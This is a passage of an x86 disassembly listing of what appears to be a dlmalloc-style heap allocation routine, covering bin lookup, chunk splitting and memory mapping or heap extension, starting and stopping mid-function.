804c8c0: 83 f8 0f cmp $0xf,%eax | |
804c8c3: 76 07 jbe 0x804c8cc | |
804c8c5: 83 e0 f8 and $0xfffffff8,%eax | |
804c8c8: 89 44 24 14 mov %eax,0x14(%esp) | |
804c8cc: 8b 1d 40 f2 04 08 mov 0x804f240,%ebx | |
804c8d2: f6 c3 01 test $0x1,%bl | |
804c8d5: 75 1d jne 0x804c8f4 | |
804c8d7: 85 db test %ebx,%ebx | |
804c8d9: 0f 85 f0 02 00 00 jne 0x804cbcf | |
804c8df: 83 ec 0c sub $0xc,%esp | |
804c8e2: 68 40 f2 04 08 push $0x804f240 | |
804c8e7: e8 a1 0b 00 00 call 0x804d48d | |
804c8ec: 83 c4 10 add $0x10,%esp | |
804c8ef: e9 db 02 00 00 jmp 0x804cbcf | |
804c8f4: 39 5c 24 14 cmp %ebx,0x14(%esp) | |
804c8f8: 77 1b ja 0x804c915 | |
804c8fa: 8b 44 24 14 mov 0x14(%esp),%eax | |
804c8fe: d1 e8 shr %eax | |
804c900: 8d 88 40 f2 04 08 lea 0x804f240(%eax),%ecx | |
804c906: 8b 51 fc mov -0x4(%ecx),%edx | |
804c909: 85 d2 test %edx,%edx | |
804c90b: 74 08 je 0x804c915 | |
804c90d: 8b 42 08 mov 0x8(%edx),%eax | |
804c910: 89 41 fc mov %eax,-0x4(%ecx) | |
804c913: eb 39 jmp 0x804c94e | |
804c915: 81 7c 24 14 ff 00 00 cmpl $0xff,0x14(%esp) | |
804c91c: 00 | |
804c91d: 77 37 ja 0x804c956 | |
804c91f: 8b 44 24 14 mov 0x14(%esp),%eax | |
804c923: c1 e8 03 shr $0x3,%eax | |
804c926: 89 44 24 24 mov %eax,0x24(%esp) | |
804c92a: 8d 0c c5 6c f2 04 08 lea 0x804f26c(,%eax,8),%ecx | |
804c931: 8b 51 0c mov 0xc(%ecx),%edx | |
804c934: 39 ca cmp %ecx,%edx | |
804c936: 0f 84 16 01 00 00 je 0x804ca52 | |
804c93c: 8b 5c 24 14 mov 0x14(%esp),%ebx | |
804c940: 8b 42 0c mov 0xc(%edx),%eax | |
804c943: 89 41 0c mov %eax,0xc(%ecx) | |
804c946: 83 4c 1a 04 01 orl $0x1,0x4(%edx,%ebx,1) | |
804c94b: 89 48 08 mov %ecx,0x8(%eax) | |
804c94e: 8d 5a 08 lea 0x8(%edx),%ebx | |
804c951: e9 73 06 00 00 jmp 0x804cfc9 | |
804c956: 8b 44 24 14 mov 0x14(%esp),%eax | |
804c95a: e8 eb fe ff ff call 0x804c84a | |
804c95f: 80 e3 02 and $0x2,%bl | |
804c962: 89 44 24 24 mov %eax,0x24(%esp) | |
804c966: 0f 84 e6 00 00 00 je 0x804ca52 | |
804c96c: 83 ec 0c sub $0xc,%esp | |
804c96f: 68 40 f2 04 08 push $0x804f240 | |
804c974: e8 14 0b 00 00 call 0x804d48d | |
804c979: 83 c4 10 add $0x10,%esp | |
804c97c: e9 d1 00 00 00 jmp 0x804ca52 | |
804c981: 8b 7d 04 mov 0x4(%ebp),%edi | |
804c984: 8b 55 0c mov 0xc(%ebp),%edx | |
804c987: 83 e7 fc and $0xfffffffc,%edi | |
804c98a: 81 7c 24 14 ff 00 00 cmpl $0xff,0x14(%esp) | |
804c991: 00 | |
804c992: 77 1f ja 0x804c9b3 | |
804c994: 81 fa 74 f2 04 08 cmp $0x804f274,%edx | |
804c99a: 75 17 jne 0x804c9b3 | |
804c99c: 3b 2d 70 f2 04 08 cmp 0x804f270,%ebp | |
804c9a2: 75 0f jne 0x804c9b3 | |
804c9a4: 8b 44 24 14 mov 0x14(%esp),%eax | |
804c9a8: 83 c0 10 add $0x10,%eax | |
804c9ab: 39 c7 cmp %eax,%edi | |
804c9ad: 0f 87 b1 05 00 00 ja 0x804cf64 | |
804c9b3: b8 74 f2 04 08 mov $0x804f274,%eax | |
804c9b8: 89 42 08 mov %eax,0x8(%edx) | |
804c9bb: 89 50 0c mov %edx,0xc(%eax) | |
804c9be: 3b 7c 24 14 cmp 0x14(%esp),%edi | |
804c9c2: 0f 84 dd 05 00 00 je 0x804cfa5 | |
804c9c8: 81 ff ff 00 00 00 cmp $0xff,%edi | |
804c9ce: 77 11 ja 0x804c9e1 | |
804c9d0: 89 fe mov %edi,%esi | |
804c9d2: c1 ee 03 shr $0x3,%esi | |
804c9d5: 8d 1c f5 6c f2 04 08 lea 0x804f26c(,%esi,8),%ebx | |
804c9dc: 8b 43 08 mov 0x8(%ebx),%eax | |
804c9df: eb 25 jmp 0x804ca06 | |
804c9e1: 89 f8 mov %edi,%eax | |
804c9e3: e8 62 fe ff ff call 0x804c84a | |
804c9e8: 89 c6 mov %eax,%esi | |
804c9ea: 8d 04 c5 6c f2 04 08 lea 0x804f26c(,%eax,8),%eax | |
804c9f1: 8b 50 08 mov 0x8(%eax),%edx | |
804c9f4: 89 54 24 0c mov %edx,0xc(%esp) | |
804c9f8: 89 d3 mov %edx,%ebx | |
804c9fa: 39 c2 cmp %eax,%edx | |
804c9fc: 74 2c je 0x804ca2a | |
804c9fe: 8b 58 0c mov 0xc(%eax),%ebx | |
804ca01: 3b 7b 04 cmp 0x4(%ebx),%edi | |
804ca04: 73 06 jae 0x804ca0c | |
804ca06: 89 44 24 0c mov %eax,0xc(%esp) | |
804ca0a: eb 1e jmp 0x804ca2a | |
804ca0c: 89 f8 mov %edi,%eax | |
804ca0e: 83 c8 01 or $0x1,%eax | |
804ca11: eb 0b jmp 0x804ca1e | |
804ca13: 8b 4c 24 0c mov 0xc(%esp),%ecx | |
804ca17: 8b 49 08 mov 0x8(%ecx),%ecx | |
804ca1a: 89 4c 24 0c mov %ecx,0xc(%esp) | |
804ca1e: 8b 5c 24 0c mov 0xc(%esp),%ebx | |
804ca22: 3b 43 04 cmp 0x4(%ebx),%eax | |
804ca25: 72 ec jb 0x804ca13 | |
804ca27: 8b 5b 0c mov 0xc(%ebx),%ebx | |
804ca2a: 89 f2 mov %esi,%edx | |
804ca2c: 83 e6 1f and $0x1f,%esi | |
804ca2f: 89 f1 mov %esi,%ecx | |
804ca31: b8 01 00 00 00 mov $0x1,%eax | |
804ca36: c1 fa 05 sar $0x5,%edx | |
804ca39: d3 e0 shl %cl,%eax | |
804ca3b: 09 04 95 74 f5 04 08 or %eax,0x804f574(,%edx,4) | |
804ca42: 89 5d 0c mov %ebx,0xc(%ebp) | |
804ca45: 8b 74 24 0c mov 0xc(%esp),%esi | |
804ca49: 89 75 08 mov %esi,0x8(%ebp) | |
804ca4c: 89 6b 08 mov %ebp,0x8(%ebx) | |
804ca4f: 89 6e 0c mov %ebp,0xc(%esi) | |
804ca52: 8b 2d 80 f2 04 08 mov 0x804f280,%ebp | |
804ca58: 81 fd 74 f2 04 08 cmp $0x804f274,%ebp | |
804ca5e: 0f 85 1d ff ff ff jne 0x804c981 | |
804ca64: 81 7c 24 14 ff 00 00 cmpl $0xff,0x14(%esp) | |
804ca6b: 00 | |
804ca6c: 0f 86 80 00 00 00 jbe 0x804caf2 | |
804ca72: 8b 44 24 24 mov 0x24(%esp),%eax | |
804ca76: 8d 14 c5 6c f2 04 08 lea 0x804f26c(,%eax,8),%edx | |
804ca7d: 8b 42 0c mov 0xc(%edx),%eax | |
804ca80: eb 6c jmp 0x804caee | |
804ca82: 8b 58 04 mov 0x4(%eax),%ebx | |
804ca85: 8b 48 0c mov 0xc(%eax),%ecx | |
804ca88: 83 e3 fc and $0xfffffffc,%ebx | |
804ca8b: 3b 5c 24 14 cmp 0x14(%esp),%ebx | |
804ca8f: 72 5b jb 0x804caec | |
804ca91: 8b 50 08 mov 0x8(%eax),%edx | |
804ca94: 39 42 0c cmp %eax,0xc(%edx) | |
804ca97: 75 05 jne 0x804ca9e | |
804ca99: 39 41 08 cmp %eax,0x8(%ecx) | |
804ca9c: 74 05 je 0x804caa3 | |
804ca9e: e8 2e 0d 00 00 call 0x804d7d1 | |
804caa3: 89 de mov %ebx,%esi | |
804caa5: 2b 74 24 14 sub 0x14(%esp),%esi | |
804caa9: 89 4a 0c mov %ecx,0xc(%edx) | |
804caac: 89 51 08 mov %edx,0x8(%ecx) | |
804caaf: 83 fe 0f cmp $0xf,%esi | |
804cab2: 8d 48 08 lea 0x8(%eax),%ecx | |
804cab5: 0f 86 f8 04 00 00 jbe 0x804cfb3 | |
804cabb: 8b 5c 24 14 mov 0x14(%esp),%ebx | |
804cabf: 8d 14 18 lea (%eax,%ebx,1),%edx | |
804cac2: 83 cb 01 or $0x1,%ebx | |
804cac5: 89 58 04 mov %ebx,0x4(%eax) | |
804cac8: 89 f0 mov %esi,%eax | |
804caca: 83 c8 01 or $0x1,%eax | |
804cacd: 89 55 08 mov %edx,0x8(%ebp) | |
804cad0: 89 55 0c mov %edx,0xc(%ebp) | |
804cad3: c7 42 08 74 f2 04 08 movl $0x804f274,0x8(%edx) | |
804cada: c7 42 0c 74 f2 04 08 movl $0x804f274,0xc(%edx) | |
804cae1: 89 42 04 mov %eax,0x4(%edx) | |
804cae4: 89 34 32 mov %esi,(%edx,%esi,1) | |
804cae7: e9 cc 04 00 00 jmp 0x804cfb8 | |
804caec: 89 c8 mov %ecx,%eax | |
804caee: 39 d0 cmp %edx,%eax | |
804caf0: 75 90 jne 0x804ca82 | |
804caf2: 8b 4c 24 24 mov 0x24(%esp),%ecx | |
804caf6: be 01 00 00 00 mov $0x1,%esi | |
804cafb: 41 inc %ecx | |
804cafc: 89 cf mov %ecx,%edi | |
804cafe: c1 ef 05 shr $0x5,%edi | |
804cb01: 8d 1c cd 6c f2 04 08 lea 0x804f26c(,%ecx,8),%ebx | |
804cb08: 83 e1 1f and $0x1f,%ecx | |
804cb0b: 8b 14 bd 74 f5 04 08 mov 0x804f574(,%edi,4),%edx | |
804cb12: d3 e6 shl %cl,%esi | |
804cb14: 39 d6 cmp %edx,%esi | |
804cb16: 77 04 ja 0x804cb1c | |
804cb18: 85 f6 test %esi,%esi | |
804cb1a: 75 2c jne 0x804cb48 | |
804cb1c: 47 inc %edi | |
804cb1d: 83 ff 02 cmp $0x2,%edi | |
804cb20: 0f 87 a9 00 00 00 ja 0x804cbcf | |
804cb26: 8b 14 bd 74 f5 04 08 mov 0x804f574(,%edi,4),%edx | |
804cb2d: 85 d2 test %edx,%edx | |
804cb2f: 74 eb je 0x804cb1c | |
804cb31: 89 f8 mov %edi,%eax | |
804cb33: be 01 00 00 00 mov $0x1,%esi | |
804cb38: c1 e0 08 shl $0x8,%eax | |
804cb3b: 8d 98 6c f2 04 08 lea 0x804f26c(%eax),%ebx | |
804cb41: eb 05 jmp 0x804cb48 | |
804cb43: 83 c3 08 add $0x8,%ebx | |
804cb46: 01 f6 add %esi,%esi | |
804cb48: 85 f2 test %esi,%edx | |
804cb4a: 74 f7 je 0x804cb43 | |
804cb4c: 8b 4b 0c mov 0xc(%ebx),%ecx | |
804cb4f: 39 d9 cmp %ebx,%ecx | |
804cb51: 75 14 jne 0x804cb67 | |
804cb53: 89 f0 mov %esi,%eax | |
804cb55: 8d 59 08 lea 0x8(%ecx),%ebx | |
804cb58: f7 d0 not %eax | |
804cb5a: 21 c2 and %eax,%edx | |
804cb5c: 01 f6 add %esi,%esi | |
804cb5e: 89 14 bd 74 f5 04 08 mov %edx,0x804f574(,%edi,4) | |
804cb65: eb ad jmp 0x804cb14 | |
804cb67: 8b 51 04 mov 0x4(%ecx),%edx | |
804cb6a: 8b 41 0c mov 0xc(%ecx),%eax | |
804cb6d: 83 e2 fc and $0xfffffffc,%edx | |
804cb70: 89 d6 mov %edx,%esi | |
804cb72: 2b 74 24 14 sub 0x14(%esp),%esi | |
804cb76: 89 43 0c mov %eax,0xc(%ebx) | |
804cb79: 89 58 08 mov %ebx,0x8(%eax) | |
804cb7c: 83 fe 0f cmp $0xf,%esi | |
804cb7f: 77 07 ja 0x804cb88 | |
804cb81: 83 4c 11 04 01 orl $0x1,0x4(%ecx,%edx,1) | |
804cb86: eb 3f jmp 0x804cbc7 | |
804cb88: 8b 44 24 14 mov 0x14(%esp),%eax | |
804cb8c: 3d ff 00 00 00 cmp $0xff,%eax | |
804cb91: 8d 14 01 lea (%ecx,%eax,1),%edx | |
804cb94: 89 55 08 mov %edx,0x8(%ebp) | |
804cb97: 89 55 0c mov %edx,0xc(%ebp) | |
804cb9a: c7 42 08 74 f2 04 08 movl $0x804f274,0x8(%edx) | |
804cba1: c7 42 0c 74 f2 04 08 movl $0x804f274,0xc(%edx) | |
804cba8: 77 06 ja 0x804cbb0 | |
804cbaa: 89 15 70 f2 04 08 mov %edx,0x804f270 | |
804cbb0: 83 4c 24 14 01 orl $0x1,0x14(%esp) | |
804cbb5: 89 f0 mov %esi,%eax | |
804cbb7: 8b 5c 24 14 mov 0x14(%esp),%ebx | |
804cbbb: 83 c8 01 or $0x1,%eax | |
804cbbe: 89 59 04 mov %ebx,0x4(%ecx) | |
804cbc1: 89 34 32 mov %esi,(%edx,%esi,1) | |
804cbc4: 89 42 04 mov %eax,0x4(%edx) | |
804cbc7: 8d 59 08 lea 0x8(%ecx),%ebx | |
804cbca: e9 fa 03 00 00 jmp 0x804cfc9 | |
804cbcf: 8b 1d 6c f2 04 08 mov 0x804f26c,%ebx | |
804cbd5: 8b 74 24 14 mov 0x14(%esp),%esi | |
804cbd9: 83 c6 10 add $0x10,%esi | |
804cbdc: 8b 4b 04 mov 0x4(%ebx),%ecx | |
804cbdf: 89 74 24 10 mov %esi,0x10(%esp) | |
804cbe3: 83 e1 fc and $0xfffffffc,%ecx | |
804cbe6: 39 f1 cmp %esi,%ecx | |
804cbe8: 72 1c jb 0x804cc06 | |
804cbea: 8b 44 24 14 mov 0x14(%esp),%eax | |
804cbee: 8d 14 03 lea (%ebx,%eax,1),%edx | |
804cbf1: 83 c8 01 or $0x1,%eax | |
804cbf4: 89 15 6c f2 04 08 mov %edx,0x804f26c | |
804cbfa: 89 43 04 mov %eax,0x4(%ebx) | |
804cbfd: 2b 4c 24 14 sub 0x14(%esp),%ecx | |
804cc01: e9 53 03 00 00 jmp 0x804cf59 | |
804cc06: 8b 15 9c f5 04 08 mov 0x804f59c,%edx | |
804cc0c: f6 05 40 f2 04 08 02 testb $0x2,0x804f240 | |
804cc13: 74 25 je 0x804cc3a | |
804cc15: 83 ec 0c sub $0xc,%esp | |
804cc18: 68 40 f2 04 08 push $0x804f240 | |
804cc1d: e8 6b 08 00 00 call 0x804d48d | |
804cc22: 5b pop %ebx | |
804cc23: 8b 44 24 20 mov 0x20(%esp),%eax | |
804cc27: 83 e8 07 sub $0x7,%eax | |
804cc2a: 50 push %eax | |
804cc2b: e8 40 fc ff ff call 0x804c870 | |
804cc30: 83 c4 10 add $0x10,%esp | |
804cc33: 89 c3 mov %eax,%ebx | |
804cc35: e9 8f 03 00 00 jmp 0x804cfc9 | |
804cc3a: 8d 4a ff lea -0x1(%edx),%ecx | |
804cc3d: 8b 5c 24 14 mov 0x14(%esp),%ebx | |
804cc41: 89 4c 24 18 mov %ecx,0x18(%esp) | |
804cc45: 3b 1d 8c f5 04 08 cmp 0x804f58c,%ebx | |
804cc4b: 0f 82 b6 00 00 00 jb 0x804cd07 | |
804cc51: a1 90 f5 04 08 mov 0x804f590,%eax | |
804cc56: 3b 05 94 f5 04 08 cmp 0x804f594,%eax | |
804cc5c: 0f 8d a5 00 00 00 jge 0x804cd07 | |
804cc62: 89 c8 mov %ecx,%eax | |
804cc64: 8d 5c 1a 0a lea 0xa(%edx,%ebx,1),%ebx | |
804cc68: f7 d0 not %eax | |
804cc6a: 21 c3 and %eax,%ebx | |
804cc6c: 3b 5c 24 14 cmp 0x14(%esp),%ebx | |
804cc70: 0f 86 91 00 00 00 jbe 0x804cd07 | |
804cc76: 51 push %ecx | |
804cc77: 51 push %ecx | |
804cc78: 6a 00 push $0x0 | |
804cc7a: 6a 00 push $0x0 | |
804cc7c: 6a 22 push $0x22 | |
804cc7e: 6a 03 push $0x3 | |
804cc80: 53 push %ebx | |
804cc81: 6a 00 push $0x0 | |
804cc83: e8 2c 14 00 00 call 0x804e0b4 | |
804cc88: 83 c4 20 add $0x20,%esp | |
804cc8b: 89 c2 mov %eax,%edx | |
804cc8d: 83 f8 ff cmp $0xffffffff,%eax | |
804cc90: 74 75 je 0x804cd07 | |
804cc92: 89 c1 mov %eax,%ecx | |
804cc94: 83 e1 07 and $0x7,%ecx | |
804cc97: 74 13 je 0x804ccac | |
804cc99: b8 08 00 00 00 mov $0x8,%eax | |
804cc9e: 89 de mov %ebx,%esi | |
804cca0: 29 c8 sub %ecx,%eax | |
804cca2: 01 c2 add %eax,%edx | |
804cca4: 29 c6 sub %eax,%esi | |
804cca6: 89 02 mov %eax,(%edx) | |
804cca8: 89 f0 mov %esi,%eax | |
804ccaa: eb 08 jmp 0x804ccb4 | |
804ccac: c7 00 00 00 00 00 movl $0x0,(%eax) | |
804ccb2: 89 d8 mov %ebx,%eax | |
804ccb4: 83 c8 02 or $0x2,%eax | |
804ccb7: 89 42 04 mov %eax,0x4(%edx) | |
804ccba: a1 90 f5 04 08 mov 0x804f590,%eax | |
804ccbf: 40 inc %eax | |
804ccc0: a3 90 f5 04 08 mov %eax,0x804f590 | |
804ccc5: 3b 05 98 f5 04 08 cmp 0x804f598,%eax | |
804cccb: 7e 05 jle 0x804ccd2 | |
804cccd: a3 98 f5 04 08 mov %eax,0x804f598 | |
804ccd2: a1 a4 f5 04 08 mov 0x804f5a4,%eax | |
804ccd7: 01 d8 add %ebx,%eax | |
804ccd9: a3 a4 f5 04 08 mov %eax,0x804f5a4 | |
804ccde: 3b 05 b0 f5 04 08 cmp 0x804f5b0,%eax | |
804cce4: 76 05 jbe 0x804cceb | |
804cce6: a3 b0 f5 04 08 mov %eax,0x804f5b0 | |
804cceb: 03 05 a8 f5 04 08 add 0x804f5a8,%eax | |
804ccf1: 3b 05 b4 f5 04 08 cmp 0x804f5b4,%eax | |
804ccf7: 0f 86 51 fc ff ff jbe 0x804c94e | |
804ccfd: a3 b4 f5 04 08 mov %eax,0x804f5b4 | |
804cd02: e9 47 fc ff ff jmp 0x804c94e | |
804cd07: a1 6c f2 04 08 mov 0x804f26c,%eax | |
804cd0c: 89 44 24 1c mov %eax,0x1c(%esp) | |
804cd10: 8b 68 04 mov 0x4(%eax),%ebp | |
804cd13: 8b 44 24 14 mov 0x14(%esp),%eax | |
804cd17: 83 c0 10 add $0x10,%eax | |
804cd1a: 83 e5 fc and $0xfffffffc,%ebp | |
804cd1d: 03 05 88 f5 04 08 add 0x804f588,%eax | |
804cd23: f6 05 a0 f5 04 08 01 testb $0x1,0x804f5a0 | |
804cd2a: 74 02 je 0x804cd2e | |
804cd2c: 29 e8 sub %ebp,%eax | |
804cd2e: 8b 54 24 18 mov 0x18(%esp),%edx | |
804cd32: 03 44 24 18 add 0x18(%esp),%eax | |
804cd36: f7 d2 not %edx | |
804cd38: 89 d6 mov %edx,%esi | |
804cd3a: 89 54 24 20 mov %edx,0x20(%esp) | |
804cd3e: 21 c6 and %eax,%esi | |
804cd40: 7e 16 jle 0x804cd58 | |
804cd42: 83 ec 0c sub $0xc,%esp | |
804cd45: 56 push %esi | |
804cd46: e8 1a 18 00 00 call 0x804e565 | |
804cd4b: 83 c4 10 add $0x10,%esp | |
804cd4e: 83 ca ff or $0xffffffff,%edx | |
804cd51: 89 c3 mov %eax,%ebx | |
804cd53: 83 f8 ff cmp $0xffffffff,%eax | |
804cd56: 75 56 jne 0x804cdae | |
804cd58: f6 05 a0 f5 04 08 01 testb $0x1,0x804f5a0 | |
804cd5f: 74 0c je 0x804cd6d | |
804cd61: 8b 44 24 18 mov 0x18(%esp),%eax | |
804cd65: 01 e8 add %ebp,%eax | |
804cd67: 01 c6 add %eax,%esi | |
804cd69: 23 74 24 20 and 0x20(%esp),%esi | |
804cd6d: 81 fe ff ff 0f 00 cmp $0xfffff,%esi | |
804cd73: 77 05 ja 0x804cd7a | |
804cd75: be 00 00 10 00 mov $0x100000,%esi | |
804cd7a: 3b 74 24 14 cmp 0x14(%esp),%esi | |
804cd7e: 0f 86 38 02 00 00 jbe 0x804cfbc | |
804cd84: 52 push %edx | |
804cd85: 52 push %edx | |
804cd86: 6a 00 push $0x0 | |
804cd88: 6a 00 push $0x0 | |
804cd8a: 6a 22 push $0x22 | |
804cd8c: 6a 03 push $0x3 | |
804cd8e: 56 push %esi | |
804cd8f: 6a 00 push $0x0 | |
804cd91: e8 1e 13 00 00 call 0x804e0b4 | |
804cd96: 83 c4 20 add $0x20,%esp | |
804cd99: 89 c3 mov %eax,%ebx | |
804cd9b: 83 f8 ff cmp $0xffffffff,%eax | |
804cd9e: 0f 84 18 02 00 00 je 0x804cfbc | |
804cda4: 83 25 a0 f5 04 08 fe andl $0xfffffffe,0x804f5a0 | |
804cdab: 8d 14 30 lea (%eax,%esi,1),%edx | |
804cdae: 83 fb ff cmp $0xffffffff,%ebx | |
804cdb1: 0f 84 05 02 00 00 je 0x804cfbc | |
804cdb7: 8b 4c 24 1c mov 0x1c(%esp),%ecx | |
804cdbb: 01 35 a8 f5 04 08 add %esi,0x804f5a8 | |
804cdc1: 01 e9 add %ebp,%ecx | |
804cdc3: 39 cb cmp %ecx,%ebx | |
804cdc5: 75 17 jne 0x804cdde | |
804cdc7: 83 fa ff cmp $0xffffffff,%edx | |
804cdca: 75 12 jne 0x804cdde | |
804cdcc: 8d 04 2e lea (%esi,%ebp,1),%eax | |
804cdcf: 8b 4c 24 1c mov 0x1c(%esp),%ecx | |
804cdd3: 83 c8 01 or $0x1,%eax | |
804cdd6: 89 41 04 mov %eax,0x4(%ecx) | |
804cdd9: e9 2d 01 00 00 jmp 0x804cf0b | |
804cdde: a1 a0 f5 04 08 mov 0x804f5a0,%eax | |
804cde3: a8 01 test $0x1,%al | |
804cde5: 74 10 je 0x804cdf7 | |
804cde7: 85 ed test %ebp,%ebp | |
804cde9: 74 0c je 0x804cdf7 | |
804cdeb: 39 cb cmp %ecx,%ebx | |
804cded: 73 08 jae 0x804cdf7 | |
804cdef: 83 e0 fe and $0xfffffffe,%eax | |
804cdf2: a3 a0 f5 04 08 mov %eax,0x804f5a0 | |
804cdf7: f6 05 a0 f5 04 08 01 testb $0x1,0x804f5a0 | |
804cdfe: 74 75 je 0x804ce75 | |
804ce00: 85 ed test %ebp,%ebp | |
804ce02: 74 0a je 0x804ce0e | |
804ce04: 89 d8 mov %ebx,%eax | |
804ce06: 29 c8 sub %ecx,%eax | |
804ce08: 01 05 a8 f5 04 08 add %eax,0x804f5a8 | |
804ce0e: 89 da mov %ebx,%edx | |
804ce10: 83 e2 07 and $0x7,%edx | |
804ce13: 75 06 jne 0x804ce1b | |
804ce15: 89 df mov %ebx,%edi | |
804ce17: 31 c0 xor %eax,%eax | |
804ce19: eb 0a jmp 0x804ce25 | |
804ce1b: b8 08 00 00 00 mov $0x8,%eax | |
804ce20: 29 d0 sub %edx,%eax | |
804ce22: 8d 3c 03 lea (%ebx,%eax,1),%edi | |
804ce25: 8d 34 33 lea (%ebx,%esi,1),%esi | |
804ce28: 8d 0c 28 lea (%eax,%ebp,1),%ecx | |
804ce2b: 89 f2 mov %esi,%edx | |
804ce2d: 89 74 24 28 mov %esi,0x28(%esp) | |
804ce31: 01 ca add %ecx,%edx | |
804ce33: 8b 74 24 18 mov 0x18(%esp),%esi | |
804ce37: 8d 04 32 lea (%edx,%esi,1),%eax | |
804ce3a: 23 44 24 20 and 0x20(%esp),%eax | |
804ce3e: 83 ec 0c sub $0xc,%esp | |
804ce41: 29 d0 sub %edx,%eax | |
804ce43: 8d 34 01 lea (%ecx,%eax,1),%esi | |
804ce46: 56 push %esi | |
804ce47: e8 19 17 00 00 call 0x804e565 | |
804ce4c: 83 c4 10 add $0x10,%esp | |
804ce4f: 89 c2 mov %eax,%edx | |
804ce51: 83 f8 ff cmp $0xffffffff,%eax | |
804ce54: 75 0e jne 0x804ce64 | |
804ce56: 83 ec 0c sub $0xc,%esp | |
804ce59: 6a 00 push $0x0 | |
804ce5b: e8 05 17 00 00 call 0x804e565 | |
804ce60: 89 c2 mov %eax,%edx | |
804ce62: eb 34 jmp 0x804ce98 | |
804ce64: 39 d8 cmp %ebx,%eax | |
804ce66: 73 35 jae 0x804ce9d | |
804ce68: 83 25 a0 f5 04 08 fe andl $0xfffffffe,0x804f5a0 | |
804ce6f: 8b 54 24 28 mov 0x28(%esp),%edx | |
804ce73: eb 07 jmp 0x804ce7c | |
804ce75: 83 fa ff cmp $0xffffffff,%edx | |
804ce78: 74 06 je 0x804ce80 | |
804ce7a: 89 df mov %ebx,%edi | |
804ce7c: 31 f6 xor %esi,%esi | |
804ce7e: eb 1d jmp 0x804ce9d | |
804ce80: 83 ec 0c sub $0xc,%esp | |
804ce83: 89 df mov %ebx,%edi | |
804ce85: 6a 00 push $0x0 | |
804ce87: e8 d9 16 00 00 call 0x804e565 | |
804ce8c: 89 c2 mov %eax,%edx | |
804ce8e: 29 d8 sub %ebx,%eax | |
804ce90: 29 f0 sub %esi,%eax | |
804ce92: 01 05 a8 f5 04 08 add %eax,0x804f5a8 | |
804ce98: 31 f6 xor %esi,%esi | |
804ce9a: 83 c4 10 add $0x10,%esp | |
804ce9d: 83 fa ff cmp $0xffffffff,%edx | |
804cea0: 74 69 je 0x804cf0b | |
804cea2: 29 fa sub %edi,%edx | |
804cea4: 89 3d 6c f2 04 08 mov %edi,0x804f26c | |
804ceaa: 8d 04 32 lea (%edx,%esi,1),%eax | |
804cead: 83 c8 01 or $0x1,%eax | |
804ceb0: 89 47 04 mov %eax,0x4(%edi) | |
804ceb3: 01 35 a8 f5 04 08 add %esi,0x804f5a8 | |
804ceb9: 85 ed test %ebp,%ebp | |
804cebb: 74 4e je 0x804cf0b | |
804cebd: 8d 45 f4 lea -0xc(%ebp),%eax | |
804cec0: 8b 4c 24 1c mov 0x1c(%esp),%ecx | |
804cec4: 83 e0 f8 and $0xfffffff8,%eax | |
804cec7: 89 c2 mov %eax,%edx | |
804cec9: 83 ca 01 or $0x1,%edx | |
804cecc: 83 f8 0f cmp $0xf,%eax | |
804cecf: 89 51 04 mov %edx,0x4(%ecx) | |
804ced2: c7 44 01 04 05 00 00 movl $0x5,0x4(%ecx,%eax,1) | |
804ced9: 00 | |
804ceda: c7 44 01 08 05 00 00 movl $0x5,0x8(%ecx,%eax,1) | |
804cee1: 00 | |
804cee2: 76 27 jbe 0x804cf0b | |
804cee4: 83 ec 0c sub $0xc,%esp | |
804cee7: 89 c8 mov %ecx,%eax | |
804cee9: 83 c0 08 add $0x8,%eax | |
804ceec: 8b 1d 84 f5 04 08 mov 0x804f584,%ebx | |
804cef2: 50 push %eax | |
804cef3: c7 05 84 f5 04 08 ff movl $0xffffffff,0x804f584 | |
804cefa: ff ff ff | |
804cefd: e8 33 07 00 00 call 0x804d635 | |
804cf02: 89 1d 84 f5 04 08 mov %ebx,0x804f584 | |
804cf08: 83 c4 10 add $0x10,%esp | |
804cf0b: a1 a8 f5 04 08 mov 0x804f5a8,%eax | |
804cf10: 3b 05 ac f5 04 08 cmp 0x804f5ac,%eax | |
804cf16: 76 05 jbe 0x804cf1d | |
804cf18: a3 ac f5 04 08 mov %eax,0x804f5ac | |
804cf1d: 03 05 a4 f5 04 08 add 0x804f5a4,%eax | |
804cf23: 3b 05 b4 f5 04 08 cmp 0x804f5b4,%eax | |
804cf29: 76 05 jbe 0x804cf30 | |
804cf2b: a3 b4 f5 04 08 mov %eax,0x804f5b4 | |
804cf30: 8b 1d 6c f2 04 08 mov 0x804f26c,%ebx | |
804cf36: 8b 4b 04 mov 0x4(%ebx),%ecx | |
804cf39: 83 e1 fc and $0xfffffffc,%ecx | |
804cf3c: 3b 4c 24 10 cmp 0x10(%esp),%ecx | |
804cf40: 72 7a jb 0x804cfbc | |
804cf42: 8b 74 24 14 mov 0x14(%esp),%esi | |
804cf46: 89 f0 mov %esi,%eax | |
804cf48: 29 f1 sub %esi,%ecx | |
804cf4a: 8d 14 33 lea (%ebx,%esi,1),%edx | |
804cf4d: 83 c8 01 or $0x1,%eax | |
804cf50: 89 15 6c f2 04 08 mov %edx,0x804f26c | |
804cf56: 89 43 04 mov %eax,0x4(%ebx) | |
804cf59: 83 c9 01 or $0x1,%ecx | |
804cf5c: 83 c3 08 add $0x8,%ebx | |
804cf5f: 89 4a 04 mov %ecx,0x4(%edx) | |
804cf62: eb 65 jmp 0x804cfc9 | |
804cf64: 8b 4c 24 14 mov 0x14(%esp),%ecx | |
804cf68: 89 f8 mov %edi,%eax | |
804cf6a: 2b 44 24 14 sub 0x14(%esp),%eax | |
804cf6e: 8d 54 0d 00 lea 0x0(%ebp,%ecx,1),%edx | |
804cf72: 83 c9 01 or $0x1,%ecx | |
804cf75: 89 15 70 f2 04 08 mov %edx,0x804f270 | |
804cf7b: 89 4d 04 mov %ecx,0x4(%ebp) | |
804cf7e: 89 c1 mov %eax,%ecx | |
804cf80: 89 15 7c f2 04 08 mov %edx,0x804f27c | |
804cf86: 83 c9 01 or $0x1,%ecx | |
804cf89: 89 15 80 f2 04 08 mov %edx,0x804f280 | |
804cf8f: c7 42 08 74 f2 04 08 movl $0x804f274,0x8(%edx) | |
804cf96: c7 42 0c 74 f2 04 08 movl $0x804f274,0xc(%edx) | |
804cf9d: 89 4a 04 mov %ecx,0x4(%edx) | |
804cfa0: 89 04 02 mov %eax,(%edx,%eax,1) | |
804cfa3: eb 09 jmp 0x804cfae | |
804cfa5: 8b 5c 24 14 mov 0x14(%esp),%ebx | |
804cfa9: 83 4c 1d 04 01 orl $0x1,0x4(%ebp,%ebx,1) | |
804cfae: 8d 5d 08 lea 0x8(%ebp),%ebx | |
804cfb1: eb 16 jmp 0x804cfc9 | |
